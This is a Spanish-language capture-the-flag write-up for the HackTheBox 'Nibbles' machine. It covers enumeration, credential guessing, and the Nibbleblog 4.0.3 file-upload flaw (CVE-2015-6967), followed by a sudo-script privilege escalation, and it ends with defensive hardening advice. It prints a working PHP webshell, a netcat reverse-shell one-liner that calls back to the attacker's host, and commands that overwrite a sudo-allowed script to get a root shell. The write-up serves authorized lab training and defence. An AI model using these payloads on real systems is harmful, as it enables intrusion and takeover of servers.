Nibbles — HackTheBox (Easy)
SO: Linux · Dificultad: Easy · Skills: enumeración web, fuerza bruta ligera de credenciales, file upload vulnerable (CVE-2015-6967), RCE via webshell PHP, escalada de privilegios por sudo + script escribible.
Esta máquina ilustra una cadena muy común en entornos reales: CMS desactualizado con credenciales débiles → subida de archivo malicioso → shell como usuario → script sudo mal configurado → root. El salto respecto a Starting Point es que aquí la cadena tiene tres eslabones (descubrimiento → foothold → privesc) y ninguno viene dado: hay que enumerar, adivinar y encadenar.
HTB es un laboratorio de ciberseguridad 100 % legal y autorizado. Practicar aquí es ético y formativo.
Objetivo
Obtener acceso a la máquina como el usuario nibbler (flag user.txt) y escalar a root (flag root.txt) explotando una instalación vulnerable de Nibbleblog 4.0.3.
Acceso a la máquina (paso previo)
- Conectarse a la VPN de HTB — abre una terminal y déjala abierta durante toda la sesión:
sudo openvpn lab_<tu_usuario>.ovpn - Lanzar la máquina — en la web de HTB, busca “Nibbles” en la sección de máquinas retiradas (requiere suscripción VIP) y pulsa Spawn Machine. HTB te asignará una IP dinámica del rango
10.10.10.x. - Verificar conectividad:
ping -c2 <IP> - A lo largo de este writeup,
<IP>representa esa IP dinámica. Sustitúyela por la que te toque. Si usas el Pwnbox (Kali en el navegador), ya viene conectado a la VPN.
Reconocimiento
Categoría: escaneo de puertos y detección de servicios.
nmap -sC -sV -oN nibbles.nmap <IP>Resultado relevante:
- Puerto 22 — SSH (OpenSSH, Linux)
- Puerto 80 — HTTP (Apache httpd)
Solo hay dos superficies de ataque. Empezamos por HTTP.
curl -s http://<IP>/La respuesta parece una página en blanco con solo “Hello world!“. Pero si revisas el código fuente:
<!-- /nibbleblog/ directory. Nothing interesting here! -->El comentario delata la ruta del CMS. Esta pista es suficiente para continuar; un atacante real la habría encontrado igualmente con gobuster.
Truco: siempre revisa el código fuente (
Ctrl+Uocurl -s | grep -i comment). Los desarrolladores dejan comentarios que nunca deberían llegar a producción.
Enumeración
Categoría: fingerprinting de CMS y descubrimiento de rutas.
gobuster dir -u http://<IP>/nibbleblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txtRutas clave encontradas:
/nibbleblog/admin.php— panel de administración/nibbleblog/content/— directorio listable con archivos subidos/nibbleblog/README— confirma versión: Nibbleblog 4.0.3
curl http://<IP>/nibbleblog/READMELa versión exacta es crítica: permite buscar CVEs concretos.
searchsploit nibbleblogResultado:
Nibbleblog 4.0.3 - Arbitrary File Upload (Authenticated) | php/webapps/38489.txt
El exploit requiere autenticación. Hay que entrar al panel antes.
Panel de administración — http://<IP>/nibbleblog/admin.php
No hay registro público. La solución estándar en esta máquina es credential guessing: el usuario es admin y la contraseña es nibbles (relacionada con el nombre de la máquina/hostname). No hay fuerza bruta masiva porque Nibbleblog bloquea IPs tras varios intentos fallidos; hay que pensar antes de disparar.
Patrón de ataque: cuando un CMS expone panel de login, prueba siempre credenciales por defecto y variantes del hostname/nombre del servicio antes de lanzar wordlists. En auditorías reales, esto aparece constantemente.
Acceso inicial (foothold)
Categoría: CVE-2015-6967 — Nibbleblog 4.0.3 Arbitrary File Upload (Authenticated).
Qué hace el exploit: el plugin “My image” de Nibbleblog permite subir imágenes al servidor pero no valida la extensión del archivo en el servidor (solo en el cliente). Se puede subir un archivo .php que el servidor Apache ejecutará directamente, obteniendo RCE.
Pasos:
-
Acceder al panel con
admin/nibbles. -
Activar el plugin My image:
Plugins → My image → Activate. -
Preparar la webshell:
echo '<?php system($_GET["cmd"]); ?>' > shell.php -
Subir
shell.phpdesdePlugins → My image → Configure → Upload image. Ignorar los errores de validación del lado cliente (cambiar extensión o interceptar con Burp si es necesario). -
Localizar el archivo subido. Nibbleblog guarda los archivos del plugin en una ruta predecible:
http://<IP>/nibbleblog/content/private/plugins/my_image/image.php -
Verificar RCE:
curl "http://<IP>/nibbleblog/content/private/plugins/my_image/image.php?cmd=id"Respuesta esperada:
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler) -
Obtener reverse shell. En tu máquina, escucha:
nc -lvnp 4444Luego lanza la shell (URL-encode los caracteres especiales si es necesario):
curl "http://<IP>/nibbleblog/content/private/plugins/my_image/image.php?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+<TU_IP>+4444+>/tmp/f"Ya tienes shell como
nibbler. -
Estabilizar la shell:
python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z stty raw -echo; fg export TERM=xterm
Nota: la ruta exacta del archivo subido puede variar ligeramente entre versiones del plugin. Si no responde, enumera
content/private/plugins/concurlo desde la shell.
Escalada de privilegios
Categoría: sudo misconfiguration — script ejecutable con sudo y escribible por el usuario.
Paso 1: enumerar permisos sudo.
sudo -lSalida:
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
nibbler puede ejecutar ese script como root sin contraseña. Pero antes de lanzarlo, comprueba si el archivo existe y si puedes escribirlo:
ls -la /home/nibbler/personal/stuff/monitor.shEs posible que el directorio personal/ esté comprimido en un zip. En ese caso:
ls /home/nibbler/
# Si hay personal.zip:
unzip /home/nibbler/personal.zip -d /home/nibbler/Paso 2: comprobar permisos de escritura.
ls -la /home/nibbler/personal/stuff/monitor.shEl archivo pertenece a nibbler → podemos sobreescribirlo.
Paso 3: reemplazar el script con una shell.
echo '#!/bin/bash' > /home/nibbler/personal/stuff/monitor.sh
echo 'bash -i' >> /home/nibbler/personal/stuff/monitor.sh
chmod +x /home/nibbler/personal/stuff/monitor.shO directamente una línea:
echo -e '#!/bin/bash\nbash -i' > /home/nibbler/personal/stuff/monitor.shPaso 4: ejecutar como root.
sudo /home/nibbler/personal/stuff/monitor.shShell de root. Comprueba:
id
# uid=0(root) gid=0(root) groups=0(root)Flags
| Flag | Ubicación | Cómo obtenerla |
|---|---|---|
user.txt | /home/nibbler/user.txt | Con shell como nibbler |
root.txt | /root/root.txt | Con shell como root |
# Como nibbler:
cat /home/nibbler/user.txt
# <flag>
# Como root:
cat /root/root.txt
# <flag>Patron y teoria
Esta sección es la más importante si tu objetivo es aprender a diseñar y defender, no solo a atacar.
Patron 1: CMS desactualizado + credenciales débiles + upload sin validación → RCE
Esquema de la cadena:
Comentario HTML (leak de ruta)
→ CMS identificado por versión (README expuesto)
→ CVE-2015-6967: file upload sin validación server-side
→ webshell PHP ejecutada por Apache
→ RCE como usuario del proceso web (nibbler)
Por qué funciona: la validación de tipo de archivo solo se hacía en el cliente (JavaScript). El servidor aceptaba cualquier extensión. Apache servía el archivo como PHP ejecutable porque estaba dentro del document root.
Como desarrollador/defensor:
- Validar en servidor, siempre. La validación client-side es UX, no seguridad.
- Whitelist de extensiones permitidas (
.jpg,.png,.gif) — nunca blacklist. - Guardar uploads fuera del document root o en un directorio sin ejecución (
php_admin_flag engine offen Apache,locationcondenyen Nginx). - Renombrar archivos subidos con UUID aleatorio; nunca conservar la extensión original del cliente.
- Actualizar dependencias y CMS. Nibbleblog 4.0.3 tiene CVE público desde 2015.
- No exponer
README,CHANGELOGni rutas de administración sin autenticación en HTTP. Usa.htaccesso reglas de Nginx para restringir/admin.php. - Credenciales por defecto: obliga a cambiarlas en el primer login. Aplica política de contraseñas mínima.
Patron 2: sudo a script escribible por el usuario → escalada trivial a root
Esquema:
sudo -l → script en home del usuario con NOPASSWD
→ script escribible por nibbler
→ sobreescribir con bash -i
→ sudo ejecuta bash como root
Por qué funciona: sudo concede el privilegio de ejecutar el archivo en esa ruta, pero no controla el contenido de ese archivo. Si el usuario puede modificarlo, puede inyectar lo que quiera.
Como desarrollador/defensor (hardening de sudo):
- Nunca apuntar
sudoa scripts en el home del usuario. El home es propiedad del usuario → puede sobrescribir el script. - Apunta
sudosolo a binarios del sistema (rutas en/usr/bin/,/usr/sbin/) con permisosroot:root 755. - Usa
sudoeditcuando necesites que el usuario edite archivos de configuración — nuncasudo vim /etc/X(permite escape a shell). - Principio de mínimo privilegio: si
monitor.shsolo necesita leer logs, ejecútalo con un usuario dedicado de baja privilegio, no como root. - Audita
sudo -len todos tus servidores regularmente. Herramientas comolynisolinPEASlo detectan automáticamente.
Salto respecto a Starting Point
En las máquinas de Starting Point la cadena es directa (un solo vector). Nibbles introduce:
- Reconocimiento activo necesario (el leak de ruta no es obvio).
- Credential guessing antes de explotar el CVE.
- Dos eslabones de explotación encadenados (foothold + privesc independiente).
- Gestión de la shell (estabilización, manejo del zip).
Este es el patrón de la mayoría de máquinas Easy reales: cadena de 2-3 pasos, cada uno requiere enumerar antes de actuar.